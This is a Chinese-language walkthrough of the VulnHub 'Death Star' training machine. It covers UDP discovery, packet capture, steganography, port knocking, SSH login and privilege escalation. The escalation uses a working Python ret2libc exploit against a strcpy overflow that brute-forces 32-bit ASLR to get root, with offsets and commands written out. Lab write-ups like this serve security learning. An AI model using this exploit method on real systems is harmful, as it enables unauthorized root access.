1801 字
9 分钟
vulnhub靶机-deathstar(无端口突破+Ret2libc+绕过ASLR)
vulnhub靶机-deathstar(无端口突破+Ret2libc+绕过ASLR)
声明
- 本文为个人跟随b站up主红队笔记学习vulnhub的deathstar靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
- 该靶机下载地址为’https://vulnhub.com/entry/death-star-1,477/’
- 靶机背景为星球大战电影中的超级武器——死星,很多部分涉及电影内容,但有提示可通过在网络查询获取,对靶机渗透没有多大影响,感兴趣可以了解更多背景故事。
渗透流程
- 在vmware部署靶机并开机后,打开kali对靶机进行信息收集,使用nmap执行
nmap -sn 192.168.130.0/24(请替换成你的网段)进行主机发现,发现图中的192.168.130.136为靶机。(192.168.130.128为我的kali虚拟机的地址)并进行端口发现,执行nmap --min-rate 10000 -p- 192.168.130.136,并未发现开放TCP端口。
- 对UDP端口开放情况进行探测,可能开放68端口DHCP服务(介绍见文末补充1),没有太大价值。

- 使用tshark(wireshark的命令行版本)捕捉包,保存为owo.pcap,到四个差不多可以结束。

- data段存在信息,但是读起来比较费劲,我们提取出来。

- 得到以下提示,一个可能有额外意义的数字1440,一个凭据DS-1@OBS。

- 由于我们UDP仅仅扫描了top100,考虑这个1440是否暗示端口号,进行扫描,确实是开放的。

- 尝试用nc连接该UDP端口,无法连接。

- 尝试将凭据
DS-1@OBS通过echo访问该端口,屏幕回显了很大一片字符。
| tee 存储文件名将回显内容存储下来。
- 发现是jpeg图像格式,改后缀并打开,是该死星蓝图,右下角的代码197719801983很有价值,将其记录下来。

- 考虑隐写,使用steghide提取图片,尝试空密码,197719801983,和DS-1@OBS,最后一个成功提取到txt文件。

- 提示让将unlock code 每次3字符发给10110端口,此为端口敲门技术的方法。

- 下载konckd组件,按照如图语法进行端口敲门,-V显示执行过程,该端口打开,通过扫描发现是ssh服务。

- 通过root先尝试连接,发现banner部分确有提示,给出用户为erso,密码提示为其妻子firstname+去世年份(按照BBY)。

- 去网上搜索相关背景内容,找到介绍,拼凑出密码。

- 密码为lyra13,成功连接,拿到初始立足点。

提权过程
- 收集信息,txt文件给出最终目标是拿到root,读取文件,我们继续尝试提权。

- 查看sudo权限,特权文件,发现一个叫dartVader不符合系统文件命名规范,可能是可利用文件。

- 执行给出一段话,像是其它语言,前去翻译。

- 通过strings从二进制文件中提取可打印字符串,该文件使用动态链接库,使用函数有strcpy,errx等,考虑可能有缓冲区溢出可能。

- 通过scp(secure copy)将文件通过ssh将文件复制到kali虚拟机本地。

- 先安装gdb gdb-peda,使用gdb调试程序,指定用peda.py调试,使用checksec,查看如下配置为:
CANARY(栈溢出哨兵)
, FORTIFY(函数加强检查) , NX(堆栈禁止执行) , PIE(位置无关可执行文件) , RELRO(重定位只读) 。 
- 将汇编可以转化为部分示例C代码(仅供参考),可见strcpy处理不严谨,可能有缓冲区溢出漏洞。
int main(int argc, char *argv[]) { char buffer[64]; // 从 sub esp,0x50 和 lea eax,[esp+0x10] 推算 if (argc == 1) { errx(1, "Usage: ..."); // 地址 0x8048520 是错误信息字符串 } // argv[1] 直接拷贝到 buffer,没有长度检查 strcpy(buffer, argv[1]); return 0;}
8. 尝试写入字符串,写入100个字符a时程序出错,且GNU_STACK为RW无法执行。
9. 用scanelf检查目标程序,权限没有X,notexecute安全机制一定存在。
10. 验证ASLR机制,ldd /bin/dartVader(查看可执行文件或共享库所依赖的动态链接库),看到动态链接库的地址每次都在变。
11. 通过readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E "(system|exit)@@"从libc的符号表中查找system和exit函数的偏移地址(筛选包含system或exit且以@@结尾的行(@@ 表示默认版本))
12. 生成字符串测定偏移值为76,并且验证测定值正确。
13. 再生成一下最新的libc库地址(不过没啥必要),编写python程序。
#!/usr/bin/env python3# -*- coding: utf-8 -*-from struct import packfrom subprocess import call
offset = b"A" * 76 ##填充 76 个字节的 'A',用来覆盖到返回地址的位置libc = 0xb7596000system = pack("<I", libc + 0x00040310)exit = pack("<I", libc + 0x00033260)sh = pack("<I", libc + 0x162d4c)buffer = offset + system + exit + shapp = b"/bin/dartVader"
for i in range(1024): print("Attempt %d" % i) ret = call([app, buffer]) if ret == 0: print("Exploit Successful!") breakelse: print("Mission Failed")
14. 执行程序,稍作等待后拿到root。

其它补充与收获总结
- UDP 68端口主要用于动态主机配置协议(DHCP)。DHCP是一种网络管理协议,用于自动分配IP地址和其他网络配置参数,使设备能够在IP网络中进行通信,考虑到虚拟机的网络环境,这个端口的开放没直接有效的利用价值。
- strcpy函数:
- 来源:标准 C 库函数(<string.h>)
- 作用:将源字符串复制到目标缓冲区,不做长度检查。
- 风险:如果src长度超过dest分配的空间,就会发生缓冲区溢出,常见于二进制漏洞利用(栈溢出、ROP 等)。
- 在逆向/CTF 中的意义:看到strcpy意味着可能存在栈溢出漏洞。
- 对于程序使用checksec可以查看编译时启用或禁用的安全策略,对于checksec的输出结果可参考’https://zhuanlan.zhihu.com/p/584502713’,对于本次涉及程序,仅开启NX,意味着不能在栈或堆上执行自己注入的代码,必须改用ROP或ret2libc来调用现有函数完成攻击。(如本次ret2libc的做法:不在栈上执行代码,而是覆盖返回地址为system函数,让程序自己调用libc中的system(“/bin/sh”))。
- 关于利用python程序,由于本程序为32位程序,32位的ASLR随机化范围有限,可以通过碰撞的方式,构造buffer,若基地址刚好正确,则会返回/bin/sh,可以不断尝试运行程序,直到拿到shell,对于64位则很难暴力破解出来,可以通过泄露基地址动态计算,大致原理可以参考 ‘https://blog.csdn.net/qq_35544379/article/details/105156252’。
- 还有个很有趣的端口敲门技术,一般用于保护隐藏端口,配置好敲门协议的服务器存在一个守护进程,会记录每个IP地址的端口访问历史,当该ip按顺序访问几个特定端口,服务器会临时修改防火墙开放特定端口,想实操的朋友们可以参考’https://cloud.tencent.com/developer/article/2572641’,有详细的原理和配置教程。
vulnhub靶机-deathstar(无端口突破+Ret2libc+绕过ASLR)
http://124.70.202.140/posts/post-24/24/ 部分信息可能已经过时







